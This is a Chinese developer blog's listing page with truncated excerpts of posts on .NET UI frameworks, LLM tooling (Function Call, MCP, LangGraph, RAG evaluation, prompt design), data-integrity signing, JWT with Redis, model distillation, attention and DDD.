Raikay技术博客

同为 XAML + C#：一文说清 WPF、WinUI 3 与 MAUI 的本质差异

Wed, 28 Oct 2026 00:00:00 +0000

很多开发者第一次接触 WPF、WinUI、MAUI 时都会有一个疑问：这三者是不是都一样？反正都是 XAML 写界面 + .NET 写逻辑。

答案是：不完全一样。虽然它们在"使用 XAML 进行 UI 声明"和"基于 .NET/C#“这一点上高度相似，但在底层框架、目标平台、XAML 方言细节以及语言支持范围上存在关键差异。

相同点：表面上的"一样”

从开发体验的宏观层面看，三者确实共享同一套核心范式：

XAML 声明式 UI：三者都使用 XAML 来定义用户界面布局、数据绑定和样式。XAML 于 2006 年随 WPF 首次推出，后续的 WinUI 和 MAUI 都沿用了这一语法习惯。
.NET 与 C# 后端：业务逻辑主要用 C# 编写，并运行在 .NET 运行时之上。WPF 本身就是 .NET 类型的一个子集。

关键差异：实质上的"不一样"

尽管表面相似，但它们的定位和实现截然不同。

1. 目标平台与定位

WPF：仅限 Windows 桌面。它是一个成熟的、用于构建 Windows 富客户端应用的框架，无法跨平台运行。
WinUI（特指 WinUI 3）：仅限 Windows 桌面（及 UWP）。这是微软目前推荐的用于开发新 Windows 原生应用的最现代框架，深度集成 Windows App SDK，支持 Windows 10 1809 及以上版本。
MAUI：真正的 跨平台 框架。它的目标是用一套代码库构建 Android、iOS、macOS 和 Windows 应用。在 Windows 上，MAUI 底层实际上是基于 WinUI 3 来渲染的。

2. XAML 方言与控件库

虽然语法相似，但三者能用的"零件"不同。

使用 PowerShell 和大模型打造中文 Git 自动提交命令

Thu, 05 Feb 2026 00:00:00 +0000

在日常开发中，编写规范的 Git 提交信息是一件简单但重复的工作。

为了减少这部分操作，我制作了一个名为 git-ec 的本地命令。它可以自动读取 Git 变更、调用大模型生成中文 Conventional Commit 信息，并完成代码提交。

生成效果如下：

feat: 新增提示词设计文档
fix(auth): 修复登录状态失效问题
docs: 补充项目部署说明

文件位置

git-ec 由两个文件组成：

C:\Users\raikay\AppData\Local\Programs\GitEasyCommit\git-ec.cmd
C:\Users\raikay\AppData\Local\Programs\GitEasyCommit\git-ec.ps1

其中：

git-ec.cmd 是命令入口。
git-ec.ps1 包含完整的 Git 检查、模型调用和提交逻辑。

API 配置保存在：

C:\Users\raikay\AppData\Local\GitEasyCommit\config.json

首次配置

首次使用前，需要配置模型的 API Key：

git-ec -Configure

命令会隐藏输入内容，并使用 Windows 当前用户加密机制保存密钥。

配置文件中的密钥不是明文。其他 Windows 用户或其他计算机无法直接解密。

基本用法

自动生成提交信息并直接提交：

git-ec

生成信息后等待人工确认：

git-ec -c

如果使用 -c，命令会显示生成的提交信息和文件统计：

Commit message:
------------------------
docs: 补充提示词使用说明
------------------------

content/posts/blog/prompt.md | 486 ++++++++++++++++++++

确认无误后输入 y 即可提交。

工作原理

整个命令主要分为以下几个阶段。

1. 检查 Git 仓库

脚本首先执行：

AI Agent 工具调用：Function Call、MCP 与 A2A 技术演进

Mon, 01 Dec 2025 00:00:00 +0000

导读

如果你曾经尝试过让大模型（LLM）帮你查天气、订机票或操作数据库，你多半已经接触过"Function Call"技术。但你是否真正理解它的底层逻辑？当听到 MCP 和 A2A 这些新概念时，你是否感到困惑？

本文将带你深入理解 AI Agent 工具调用的核心技术，从最基础的 Function Call 原理讲起，逐步演进到 LangChain 框架的封装，最后解析 MCP 和 A2A 这两项前沿协议。读完本文，你将不仅理解“如何调用”，更能看清“调用什么”和“谁来调用”的全貌。

一、Function Call: 最容易被误解的技术

1.1 一个常见的认知误区

很多人认为 Function Call 就是"大模型自己去调用工具"。这个说法只对了一半。

大模型本身并不执行任何代码，它只负责"决策"——输出一个结构化的指令。真正的"调用"动作，必须由你的应用程序 (宿主代码) 来完成。

这个认知偏差源于 OpenAI 等官方 SDK 封装得过于"丝滑",让开发者误以为一次 API 调用就完成了所有事情。实际上，在那些看似简单的 API 背后，隐藏着严格分离的职责边界。

1.2 Function Call 的完整四步流程

为了清晰理解，我们把一次完整的 Function Call 拆解为四个标准步骤:

第一步：注册工具

你将工具的名称、功能描述以及参数结构（JSON Schema）放入系统提示词或 API 的 tools 参数中。这相当于告诉大模型:“我有这些工具可用，它们各自做什么，需要什么参数。”

第二步：大模型决策

收到用户问题后，大模型不会直接回答。如果它判断需要借助工具，就会输出一个结构化的 JSON 对象，其中明确包含 tool_name(工具名) 和 parameters(参数值)。

第三步：宿主代码执行

这是最关键的一步。你的后端代码监听到大模型输出的 JSON 后，通过 if 判断或 switch 结构，由你的代码去真正执行对应的函数。大模型全程没有执行任何代码，它只是给出了指令。

C# AI Agent 选型与框架推荐 - 2025最新指南

Fri, 07 Nov 2025 00:00:00 +0000

以下是 当前主流的开源 C# AI Agent 框架 / 项目（按成熟度、活跃度排序），涵盖通用 Agent 框架、垂直场景 Agent 实现，以及基于 C# 生态（.NET 6+）的轻量化方案，方便开发者直接复用或二次开发：

一、通用型开源 C# AI Agent 框架（核心推荐）

这类框架提供 Agent 的核心能力（任务规划、工具调用、记忆管理、多轮对话），支持对接主流大模型（OpenAI、本地 LLaMA/Phi 等），灵活性强。

1. Semantic Kernel（微软官方）

核心定位：.NET 生态首选的开源 AI Agent 开发框架（微软主导，跨语言支持 C#/Python/Java），专注于「将 AI 能力与传统代码、工具链融合」。
关键特性：
- 内置 Agent 生命周期管理（规划、执行、记忆、工具调用）；
- 支持函数调用（工具注册）、向量数据库集成（记忆存储）、多轮对话上下文管理；
- 无缝对接 OpenAI、Azure OpenAI、本地大模型（通过 Ollama、LM Studio 适配）；
- 丰富的插件生态（文件操作、HTTP 请求、数据库访问等现成工具）。
开源地址：https://github.com/microsoft/semantic-kernel
技术栈：.NET 6+（C# 10+），支持 Windows/macOS/Linux
适用场景：企业级 Agent 开发、AI 原生应用（Copilot 类工具、自动化工作流）、跨平台 Agent 项目。

2. LangChain.NET

核心定位：Python 热门框架 LangChain 的 C# 官方移植版，专注于「大模型应用的模块化组装」，Agent 是其核心模块之一。
关键特性：

WCF已退休？.NET分布式技术的历史演进与现代替代方案分析

Fri, 07 Nov 2025 00:00:00 +0000

引言

提到 WCF（Windows Communication Foundation），很多.NET 开发者并不陌生 —— 它曾是.NET Framework 时代分布式系统通信的 “全能选手”。但如今，REST API、gRPC 等技术早已成为主流，有人疑惑：WCF 是不是已经没有意义了？它真的只是 “API 不普及时代的临时替代” 吗？

其实，WCF 的价值远比 “临时替代” 复杂。它的兴起源于特定时代的技术需求，衰落则是技术迭代的必然，而其设计思想至今仍在影响着现代分布式通信技术。今天我们就从时代背景、现状价值、技术替代三个维度，彻底说清 WCF 的 “前世今生”。

一、先澄清：WCF 不是 “临时 API 替代”，而是当年的 “全能服务框架”

很多人对 WCF 的认知停留在 “服务调用”，但这只是它的冰山一角。WCF 的核心定位是微软为.NET Framework 打造的「统一服务开发框架」，目标是让开发者用一套代码，兼容多种通信场景，而非简单替代早期功能单一的 WebService 或 ASHX。

它的核心能力远超 “基础 API 调用”：

多协议支持：覆盖 HTTP（REST/SOAP）、TCP、命名管道（Named Pipe）、MSMQ、WS-* 等，既能满足简单接口通信，也能支撑企业级复杂协议（如事务、安全、可靠消息）；
多交互模式：支持请求 - 响应、单向通信、发布订阅、流传输（大文件 / 实时数据）等，适配不同分布式场景；
企业级特性：内置 Windows 认证、证书认证、自定义授权、数据加密、分布式事务等，无需额外开发即可满足企业级安全和一致性需求。

而早期的 “API”（如简单 WebService）功能单一、缺乏统一配置能力，WCF 的出现本质是为了解决「企业级分布式系统的复杂通信痛点」，而非 “临时过渡”。

二、现在的 WCF：新项目零价值，存量系统仍需 “续命”

1. 新项目为什么完全不推荐用 WCF？

WCF 的衰落是技术迭代和自身局限共同作用的结果，如今在新项目中已无使用意义：

平台绑定严重：WCF 是.NET Framework 专属框架，.NET Core/.NET 5 + 虽有 “WCF Core”，但仅支持核心子集（MSMQ、WS-* 等高级特性被砍），无法跨语言（Java 等其他语言对接成本极高），与现在跨平台、多语言协作的需求脱节；

数据防篡改实用方案：从原理到落地实现 - 数字签名与HMAC详解

Fri, 07 Nov 2025 00:00:00 +0000

数据防篡改实用方案：从原理到落地实现

在后端服务、文件传输、接口通信等场景中，数据完整性是不可忽视的安全底线 —— 无论是网络传输中的字节丢失，还是恶意攻击者篡改核心业务数据（如转账金额、订单信息），都可能引发严重的业务风险。

很多开发者知道用散列算法（如 SHA256）做数据校验，但容易陷入一个误区：如果篡改者同时修改数据和对应的散列值，接收方该如何识别？本文将从底层原理出发，拆解单纯散列校验的漏洞，通过简洁的代码示意，演示 “数字签名” 和 “HMAC” 两种防篡改方案，帮你快速落地数据完整性防护。

一、数据校验的核心逻辑：给数据加 “唯一指纹”

1. 基础原理

数据校验的本质是通过数学算法，将任意长度的原始数据转换为固定长度、独一无二的特征值（类似人类指纹），这个特征值被称为 “校验值”（散列值、校验位等）。

核心流程：

发送方：原始数据 → 校验算法（如 SHA256）→ 校验值 → 发送 “数据 + 校验值”
接收方：接收数据 → 相同校验算法 → 新校验值 → 对比 “新校验值” 与 “接收的校验值”
结论：一致则数据未篡改，不一致则数据异常

2. 散列算法的关键特性

散列算法是防篡改的基础，其安全性依赖两个核心特性：

抗碰撞性：不同数据几乎不可能生成相同散列值，哪怕修改 1 个字符（如 “123” 改为 “124”），散列值也会完全不同；
不可逆性：只能通过原始数据计算散列值，无法通过散列值反推原始数据。

3. 单纯散列校验的致命漏洞

单纯的 “数据 + 散列值” 方案存在明显缺陷：如果篡改者修改原始数据后，对篡改数据重新计算散列值，再将 “篡改数据 + 新散列值” 一起发送，接收方会误以为数据合法 —— 因为散列值本身没有 “身份标识”，无法证明是合法发送方生成的。

解决核心：让校验值 “不可伪造”，只有合法发送方能生成有效校验值。

二、实用防篡改方案：代码示意

主流开发框架中都提供了完善的加密库，无需第三方依赖即可实现 “数字签名” 和 “HMAC”。以下是两种方案的精简代码示意，聚焦核心逻辑。

方案 1：数字签名（非对称加密）—— 适合跨主体通信（如 API、支付）

核心思路

采用 “私钥签名、公钥验签” 机制：私钥仅发送方持有，用于给散列值加密生成 “数字签名”；公钥公开给接收方，用于解密签名并验证合法性。篡改者没有私钥，即便修改数据，也无法伪造有效签名。

LangGraph记忆避坑指南：自动管理为什么还不够？

Mon, 06 Oct 2025 00:00:00 +0000

使用LangGraph开发多轮对话应用时，很多人都会疑惑：

LangGraph已经提供了Checkpointer，为什么真实项目还要自己保存聊天记录、截取最近几轮，再手动传给大模型？

答案是：保存状态、管理上下文、让模型正确理解历史，是三件不同的事。

LangGraph能帮助我们保存和恢复状态，但它不知道哪些历史对当前任务有用，也不会自动完成问题改写、长期存储和业务数据管理。

一、大模型本身没有记忆

调用大模型API时，每次请求都是独立的。

第一轮发送：

[{"role": "user", "content": "我叫小明"}]

第二轮如果只发送：

[{"role": "user", "content": "我叫什么名字？"}]

模型无法知道答案。要让它回答“小明”，应用必须在第二次调用时重新提供第一轮对话。

所以，聊天记忆的本质是：

应用保存过去的信息，并在后续调用时重新提供给模型。

模型不是自然地“回忆”起来，而是重新阅读了上下文。

二、LangGraph自动记忆做了什么

典型写法如下：

from langgraph.checkpoint.memory import InMemorySaver
from langgraph.graph import MessagesState, StateGraph

builder = StateGraph(MessagesState)
graph = builder.compile(checkpointer=InMemorySaver())

调用时提供固定的会话标识：

config = {
    "configurable": {
        "thread_id": "session-001"
    }
}

它主要完成三件事：

根据thread_id找到对应会话；
在图运行前恢复上一次保存的状态；
将本轮消息合并进去，并保存新状态。

MessagesState已经为messages配置了消息合并规则，因此标准聊天场景不需要反复手写：

history.append(user_message)
history.append(assistant_message)

但要注意：

Checkpointer自动保存的是“图状态”，不是业务意义上的完整记忆。

即使状态中保存了100条消息，如果节点调用模型时只传当前问题：

llm.invoke([current_question])

模型仍然看不到历史。历史必须真正进入模型输入才会生效。

三、为什么真实项目仍要手动管理

普通聊天机器人可以直接把消息列表交给模型，但真实应用通常还有意图识别、知识库检索、SQL生成、工具调用和多智能体协作。

1. 不同节点需要不同的上下文

假设用户连续提问：

用户：介绍一下A型号打印机。
用户：它支持双面打印吗？

理解节点需要参考历史，把第二个问题改写为：

A型号打印机支持双面打印吗？

后续知识库检索更适合使用这个独立问题，而不是整段聊天记录：

历史消息 + 当前问题
        ↓
问题改写
        ↓
独立、明确的问题
        ↓
检索、SQL或知识图谱查询

如果把全部历史直接交给每个节点，旧话题中的地点、商品和条件可能干扰实体抽取与查询生成。

2. 自动保存不会自动理解历史

真实用户常使用省略和指代：

第一轮：介绍一下A产品。
第二轮：多少钱？
第三轮：它和B产品有什么区别？

系统需要将后两轮改写为：

A产品多少钱？
A产品和B产品有什么区别？

Checkpointer不会自动完成指代消解、问题改写、实体继承和业务参数提取。这些仍需要专门节点或业务代码。

LangChain 与 LangGraph 实战指南

Tue, 12 Aug 2025 00:00:00 +0000

LangChain 和 LangGraph 是两个强大的人工智能开发框架。

一、为什么需要 LangGraph？

LangChain 虽然提供了丰富的工具链和 Agent 能力，但在实际企业级应用中面临一些挑战:

复杂状态管理困难: 传统 Chain 难以维护跨多个步骤的状态
循环流程不支持: 无法自然表达人类交互中的"重试 - 修正"过程
调试复杂度高: 执行流不透明，问题定位困难
长期任务控制弱: 缺乏对执行流的精确干预能力

LangGraph 通过图结构解决了这些问题，让你能够构建可预测、可控的智能体系统。

二、核心概念：图 vs 链

2.1 语言模型的三种执行模式

# 1. Prompt → LLM (最基础)
response = llm(prompt)

# 2. Chain (串行流程)
# question -> retriever -> prompt -> LLM -> answer

# 3. Graph (图结构)
# 节点之间可以有任意连接关系（包括循环）

2.2 关键术语

Node: 计算单元，如 retrieval_node、llm_node、tool_node
Edge: 节点之间的连接，定义执行流方向
State: 图的共享状态，所有节点读写同一份状态
Cycle: 循环边，允许流程回到之前的节点

三、实战示例：状态管理的艺术

3.1 定义状态 (Schema)

这是 LangGraph 的核心！你的应用所有数据都存在于这个状态中:

langgraph 和 langchain 区别，实际工作中怎么使用

Wed, 18 Jun 2025 00:00:00 +0000

核心区别

LangChain：组件库与线性链。提供模型调用、RAG、工具等基础模块，适合构建线性、确定性的流程（如简单的问答机器人）。
LangGraph：状态机与循环图。基于 LangChain 构建，专为有状态、多步骤、含循环/条件分支的复杂 Agent 设计。它解决了 LangChain 难以处理“循环推理”和“持久化记忆”的痛点。

举例说明

场景	LangChain	LangGraph
简单 RAG	检索 → 生成回答（一次性线性流程）	❌ 杀鸡用牛刀
代码生成 Agent	❌ 难以实现“生成→测试→报错→修改→再测试”的自动循环	✅ 定义节点（生成/测试/修复）+ 条件边（通过/失败），自动循环直到成功
多 Agent 协作	需手动编排消息传递，状态管理困难	✅ 原生支持 Supervisor/Swarm 模式，共享全局 State

实际工作中的使用策略

选型原则：流程是 DAG（有向无环图）选 LangChain；只要涉及 “循环”、“人工介入(Human-in-the-loop)”、“长期记忆”，直接上 LangGraph。
开发范式：将业务拆解为 State（数据结构）、Nodes（函数逻辑）、Edges（流转规则）。不要写成面条式代码，而是画成图。
生产落地：利用 LangGraph 的 Checkpointing 机制保存中间状态，支持任务暂停/恢复和断点调试；配合 LangSmith 进行 Trace 可视化监控。

RAG系统评估指南：基于RAG Assessment的指标体系与实现

Thu, 24 Apr 2025 00:00:00 +0000

本文讲解如何利用RAG Assessment框架，完成RAG（检索增强生成）系统的量化评估，覆盖核心指标体系与实操实现路径。

一、RAG系统基础流程

一套标准RAG系统的核心链路为：用户问题经Embedding模型向量化后，通过余弦相似度从向量库中召回Top K个相关文本块；将召回的上下文与问题拼接后填入约束型Prompt模板，输入大语言模型生成最终回答，以此减少模型幻觉。

二、RAG Assessment框架概述

该框架专为RAG系统评估设计，无需人工标注，可分别量化检索模块与生成模块的性能，解决两大核心痛点：一是为业务落地的RAG应用提供可量化的效果标准，替代主观判断；二是为集成检索器、父子文档等高阶优化方案提供客观的效果验证依据。

框架输入包含四类数据：用户问题、模型生成答案、检索上下文、标准答案；输出为多维度的量化评估得分。

三、四大核心评估指标

所有指标取值范围均为0-1，分数越高代表对应维度性能越好：

忠实度（Faithfulness）：衡量生成答案与检索上下文的事实一致性，基于答案与上下文计算。将答案拆分为多个事实片段，统计有上下文支撑的片段占比，反映模型幻觉程度。
答案相关性（Answer Relevance）：衡量生成答案与用户问题的匹配度，基于问题与答案计算。通过答案反向生成问题，计算反向问题与原问题的相似度均值，反映回答的完整性与冗余度。
上下文精确度（Context Precision）：衡量相关信息在检索结果中的排序位置，基于问题与上下文计算。统计Top K结果中相关内容的排序占比，反映检索排序的准确性。
上下文召回率（Context Recall）：衡量标准答案信息在检索结果中的覆盖程度，基于标准答案与上下文计算。拆分标准答案的事实点，统计能被检索上下文命中的占比，反映检索的完整性。

四、指标对应模块与优化方向

RAG系统的整体性能需结合所有指标综合评判，不同指标可定位不同环节的问题：

检索模块：对应上下文精确度、召回率。得分偏低时，可更换优质Embedding模型，或引入重排序、集成检索器等方案优化。
生成模块：对应忠实度、答案相关性。得分偏低时，可更换能力更强的大语言模型，或优化Prompt约束规则。

五、基于LangChain与Ragas的评估实现

核心实现步骤如下：

环境准备：安装langchain、ragas、arxiv加载工具、ChromaDB向量库等依赖，配置API密钥。
知识库构建：加载目标文档（如RAG Assessment原论文），完成文本分块、向量化，存入ChromaDB并定义检索器。
搭建RAG链路：编写约束型Prompt模板，串联检索、Prompt拼接、大模型生成的完整流程。
构建评估集：准备测试问题与标准答案，通过RAG链路批量生成对应答案与检索上下文，整理为标准评估数据集。
执行评估：调用Ragas的evaluate方法，传入数据集与四大评估指标，生成量化结果；可转为表格形式查看单题得分，定位系统短板并针对性优化。

提示词工程实战：从面试技巧到生产级 Prompt 设计

Fri, 28 Feb 2025 00:00:00 +0000

在大模型相关岗位的面试中，“你平时怎么写提示词？”是一个看似简单、实际很容易拉开候选人差距的问题。

如果只回答“先设置角色，再描述任务，最后加几个示例”，虽然不能算错，但很难体现真实的项目经验。因为在实际的大模型应用中，提示词并不是一段写得比较漂亮的自然语言，而是模型与业务系统之间的一份“任务协议”。

一个成熟的回答，既要说清楚提示词如何设计，也要说明如何评测、如何防止模型跑偏，以及哪些问题不能只依靠提示词解决。

一、面试时可以这样回答

如果面试官问“你是怎么写提示词的”，可以先用下面这段话概括：

我写提示词时，首先会明确这个提示词在业务链路中的职责，比如它是用于意图分类、Query 改写、RAG 问答、信息抽取，还是 Agent 工具选择。不同任务的目标、约束和评测方式不同，所以我不会使用一套万能 Prompt。

在具体设计时，我通常会定义角色与目标、输入字段、任务步骤、约束边界、输出协议和 Few-shot 示例。对于需要程序继续处理的结果，我会要求模型输出符合 JSON Schema 的结构化数据。

Prompt 写完后，我不会只凭主观感觉判断效果，而是建立测试集，覆盖正常场景、边界场景、异常场景和对抗样本，评估任务准确率、格式遵循率、幻觉率、Token 消耗和响应延迟。

每次调整 Prompt 后都需要重新运行评测集，检查是否引入了回归问题。如果模型仍然不稳定，我还会在代码层增加 Schema 校验、置信度阈值、重试、降级和人工兜底。

所以我理解的提示词工程，不只是把一句话写得更清楚，而是完成任务定义、边界约束、结构化输出和评测闭环。

这个回答的重点，是让面试官意识到你不仅会“写提示词”，还具备工程化落地能力。

二、提示词应该包含哪些部分

一份适合生产环境的提示词，通常可以拆成六个部分。

1. 角色与任务目标

首先要告诉模型，它在当前任务中扮演什么角色，以及最终需要完成什么任务。

例如：

你是企业智能助手中的意图分类模块。
你的任务是识别用户问题的业务意图，并提取相关业务参数。

角色描述不需要堆砌“资深专家”“世界顶级”等无效修饰词。真正重要的是明确模型当前的职责。

2. 输入定义

需要说明模型会接收到哪些内容，以及每个字段代表什么。

例如，一个 RAG 问答任务可能包含：

用户原始问题；
检索到的参考资料；
当前用户的身份信息；
历史对话摘要；
输出格式要求。

如果输入中包含用户内容、检索资料和系统规则，最好使用明确的标签进行隔离：

<user_question>
{question}
</user_question>

<context>
{retrieved_documents}
</context>

这种写法能够降低不同类型信息相互干扰的概率。

3. 任务步骤

对于稍微复杂的任务，可以告诉模型应该依次完成哪些操作。

例如，一个信息抽取任务可以要求模型：

1. 阅读用户问题。
2. 判断用户意图。
3. 提取商品名称、仓库名称和日期范围。
4. 检查必填信息是否完整。
5. 按照规定的 JSON 格式输出结果。

步骤应该围绕最终任务展开，不要要求模型输出冗长的内部思考过程。

赋能企业级开发：ABP vNext 高级实践与核心功能深入解析

Tue, 03 Dec 2024 00:00:00 +0000

赋能企业级开发：ABP vNext 高级实践与核心功能深入解析

如果你认为 ABP vNext 只是一个帮你做 CRUD 的框架，那你就太小看它了。它是一个完整的、基于最佳实践的应用开发平台。本文将带你超越 Hello World，探索其如何在真实企业级项目中大放异彩。

在上一篇入门文章后，我们了解了 ABP 的基础。现在，让我们深入其更强大的功能，看看它如何解决实际开发中的复杂场景。

一、模块化架构：构建复杂系统的基石

ABP 的模块化不仅是代码组织方式，更是架构设计哲学。

1. 定义与依赖

每个模块都是一个独立的单元。创建一个模块非常简单：

[DependsOn( // 显式声明依赖
    typeof(AbpAccountApplicationModule),
    typeof(AbpIdentityApplicationModule),
    typeof(YourModuleProjectDomainModule) // 依赖自己的领域层
)]
public class YourModuleApplicationModule : AbpModule
{
    public override void ConfigureServices(ServiceConfigurationContext context)
    {
        // 配置本模块的服务
        Configure<AbpVirtualFileSystemOptions>(options =>
        {
            options.FileSets.AddEmbedded<YourModuleApplicationModule>("YourCompany.YourModule");
        });
    }

    public override void OnApplicationInitialization(ApplicationInitializationContext context)
    {
        // 应用启动时的逻辑
        var app = context.GetApplicationBuilder();
        // ... 中间件配置
    }
}

2. 模块生命周期
理解 PreConfigureServices, ConfigureServices, PostConfigureServices, OnApplicationInitialization 等生命周期方法，让你能在正确的时机执行代码。

3. 实战场景：插件化系统
你可以将不同功能（如“用户管理”、“订单处理”、“报表生成”）拆分独立成的模块。通过 [DependsOn] 按需组合，甚至可以动态加载模块，实现真正的插件化架构，极大提升了大型项目的可维护性和团队的并行开发效率。

二、数据过滤器：优雅实现多租户与软删除

这是 ABP 中最“聪明”的功能之一，它能自动为你处理数据过滤逻辑。

模型蒸馏完全指南：从BERT到BiLSTM的新闻分类实战

Sun, 10 Nov 2024 00:00:00 +0000

一、为什么需要模型蒸馏？

1.1 一句话总结

模型蒸馏 = 让一个"小学霸"（小模型）跟着"老教授"（大模型）学习，用小模型的身体继承大模型的智慧。

1.2 现实痛点

假设你用 BERT-base（1.1亿参数）训练了一个新闻标题分类器，效果很好（准确率 95%）。但当你想部署上线时，问题来了：

问题	具体表现
推理慢	BERT 单条推理约 10-30ms，高并发时扛不住
显存大	模型本身 ~440MB，加上 KV Cache 更夸张
部署难	手机端、嵌入式设备根本跑不动

蒸馏就是解决方案：训练一个 BiLSTM（可能只有几百万参数），让它学习 BERT 的"思考方式"，最终得到一个又快又准的小模型。

1.3 蒸馏 vs 其他压缩方法

模型压缩技术全景：
├── 模型蒸馏（Knowledge Distillation）  ← 本文重点
│   └── 用大模型的输出指导小模型训练
├── 模型剪枝（Pruning）
│   └── 去掉不重要的权重/神经元
├── 模型量化（Quantization）
│   └── FP32 → INT8，降低精度
└── 权重共享（Weight Sharing）
    └── 多个参数共享同一组权重

🎯 面试考点：蒸馏是唯一一种"跨架构"的压缩方法——教师和学生的模型结构可以完全不同（如 BERT → BiLSTM），而剪枝和量化通常只能压缩同架构模型。

架构反思：引入 Redis 统计在线人数后，JWT 是否还有存在的意义？

Wed, 16 Oct 2024 00:00:00 +0000

在构建 .NET Web API 后台时，为了实现在线人数统计，我们通常会引入 Redis 来存储用户的活跃状态。

这时，一个非常敏锐且直击架构本质的问题往往会浮出水面：

“既然为了统计在线人数，每次请求都要去 Redis 读写一次，那 JWT ‘无状态、不查库’ 的核心优势不就没了吗？干脆用一个短小的随机字符串（普通 Token），既能节省流量，又能节省计算资源，岂不更好？”

这是一个极好的问题。它触及了软件架构的核心——权衡 (Trade-off)。

答案是：在特定场景下，普通 Token 确实更好；但在大多数现代架构中，JWT + Redis 的组合依然具有不可替代的优势。

本文将从依赖性、性能、架构扩展性三个维度，深入剖析为什么我们依然推荐保留 JWT。

1. 核心区别：强依赖 vs. 弱依赖

这是两者最根本的区别，决定了系统的可用性 (Availability) 上限。

🔵 方案 A：普通 Token (Reference Token) + Redis

在这个方案中，Token 只是一个无意义的随机字符串（一把钥匙）。

流程： 请求到达 -> 解析 Token -> 必须请求 Redis 查找对应的 UserID -> 拿到身份 -> 执行业务。
风险： 这里 Redis 是强依赖。
- 如果 Redis 宕机、网络抖动或连接数耗尽，整个系统的认证模块瞬间瘫痪。
- 所有接口都会返回 401，用户无法进行任何业务操作。

🔴 方案 B：JWT (Self-contained) + Redis

在这个方案中，Token 包含数据（一张身份证），自带 UserID 和权限。

注意力机制是如何“注意”的？一个词看懂上下文背后的秘密

Mon, 16 Sep 2024 00:00:00 +0000

你是否好奇，当 Transformer 模型读一句话时，是如何动态判断“当前这个词，最该参考前面哪几个词”的？这个过程并非魔法，也不是人工编写的规则，而是由 Q、K、V 三个向量 配合训练完成的一套精妙计算。

可以把整个过程想象成：当前词和前面每一个词进行一次“对话”，然后互相打分，得分高的就重点参考。具体来说，分四步。

第一步：三个关键角色登场

对于序列中的每个词，模型都会为它生成三个向量：

Q（Query，查询）：代表“当前词”的需求。就像在大声问：“我需要理解我自己，谁有相关信息？”
K（Key，键）：代表每个词的“标签”。每个词举着名牌，写着：“我主要包含这类信息。”
V（Value，值）：每个词真正携带的具体内容，是最终要被提取的信息。

第二步：打分——“谁对我更重要”

当要理解词 A 时，模型就用 A 的 Q 向量，去和前面每个词的 K 向量计算点积（内积），得到一个标量分数。数学上，向量方向越相近，点积越大，意味着语义越相关。

例如，“北京”的 Q 遇上“首都”的 K，会因为语义高度相关得到一个很高的分数；而遇到“的”这类虚词的 K，分数往往很低。

第三步：从分数变成概率

这些原始分数经过 Softmax 归一化，被挤压成一组在 0 到 1 之间、总和为 1 的概率值。这个概率，就是最终的“注意力权重”。

于是，“首都”可能分到 0.6，“是”分到 0.1，“的”只分到 0.05。模型就真实地“知道”了：理解“北京”时，重点看“首都”。

第四步：提取信息

最后，用这些权重对所有词的 V 向量进行加权求和。权重高的词的 V 被大量保留，权重低的则几乎被忽略。融合后的向量，就携带了丰富的上下文信息，用来完成当前词的预测或理解。

那么，这一切是由谁决定的？

答案是：数据训练。

Q、K、V 向量的生成矩阵一开始是完全随机的。模型在完成“预测下一个词”或“完形填空”的任务时，会不断犯错，再通过反向传播调整这些矩阵里的参数。经过万亿次调整，模型在无数句子中捕捉到了词与词之间的统计共现规律，涌现出这样的能力：

“的”通常是结构词，不重要；
“首都”对一个地点名词很重要；
动词和它的主语关系紧密；
代词往往指向前文出现过的实体……

所以，“最该参考谁”的决定，本质上就是模型在海量文本中学到的、隐藏于 Q 和 K 互动中的语义相关性判断。所谓“多头注意力”，无非是准备很多套不同的 Q、K、V 生成矩阵，让模型能同时从语法、语义、长距离依赖等多个角度去做这样的打分。

这，就是注意力机制的核心秘密。

从机器指令到面向对象：编程思想的演进与领域驱动设计

Wed, 24 Jul 2024 00:00:00 +0000

面对领域驱动设计（DDD）的火热，很多熟悉面向对象（OOP）的开发者都会有一个疑问：这和我以前学的OOP是什么关系？是全新的东西，还是旧瓶装新酒？本文将带你回顾编程思想的演进历程，理清DDD与OOP的深刻联系，并展望现代编程思想的融合之道。

一、编程思想的演进脉络：一部与“复杂性”的斗争史

编程的发展史，就是一部工程师们如何不断地抽象和封装，以应对日益增长的软件复杂性的历史。让我们用一张时间线来直观感受这一历程：

timeline
    title 编程思想演进历程
    1950年代以前 : 面向机器编程
    : 主要与硬件直接交互
    1950-1960年代 : 面向过程编程
    : 以步骤为中心<br>结构化程序设计
    1960-1970年代 : 面向对象编程兴起
    : 对象为核心<br>封装、继承、多态
    2000年代 : 领域驱动设计提出
    : 应对业务复杂性<br>强调领域建模
    2000年代至今 : 多种思想并存
    : 函数式编程复兴<br>响应式编程等

下面我们来详细解读每个阶段的核心思想与突破：

面向机器与面向过程：效率与结构的初探
- 面向机器：在计算机诞生初期，编程直接使用机器语言或汇编语言，程序员必须深入了解硬件细节。这种方式效率极低，难以维护，是“与硬件共舞”的时代。
- 面向过程：随着高级语言（如Fortran, C）的出现，面向过程的思想成为主流。它将程序看作一系列线性步骤（过程），通过函数来实现每个环节，其核心方法是“自顶向下、逐步求精”。然而，当系统变得复杂时，数据和操作分离的特性使得代码的复用和维护变得异常困难，全局变量的滥用等问题凸显。
面向对象编程的兴起：将现实世界映射入代码
- 为了解耦数据与操作，面向对象编程（OOP） 应运而生。它以类和对象作为基本程序单位，将数据和对数据的操作封装在一起。它通过三大特性来管理复杂性：
  - 封装：收敛内部逻辑，只暴露必要的接口。
  - 继承：实现代码的复用和层次的抽象。
  - 多态：允许同一接口表现出不同的行为，极大地提高了系统的灵活性。
- OOP通过对象的概念将现实世界映射到软件系统，更符合人类的思维方式，是程序设计方法学上的一次巨大飞跃。
领域驱动设计的深化：聚焦业务复杂性的战略工具
- 到了2004年，埃里克·埃文斯（Eric Evans）在其著作《领域驱动设计》中提出了DDD。这时，软件的规模和技术复杂性已经得到较好控制，但业务逻辑本身的复杂性成为了新的挑战。
- DDD的核心是建立正确的领域模型，并让这个模型成为项目成员（包括领域专家、设计人员、开发人员）之间沟通的通用语言。它在OOP的基础上，进一步强调了边界的控制，引入了限界上下文和聚合等核心模式，来应对大型、复杂业务系统的设计和拆分问题。

二、DDD与OOP：是继承与发展，而非颠覆与取代

领域驱动设计并非一个全新的编程范式，它可以看作是面向对象思想在复杂业务系统分析和设计上的进一步发展和规范化应用。

1. 核心理念的继承

DDD完全建立在OOP的基石之上。它强调将数据和行为封装在领域对象（如实体、值对象）中，这与OOP的封装思想一脉相承。
DDD中领域模型的演化，也深度依赖于OOP的抽象、继承和多态等特性。

2. 设计层面的发展与超越

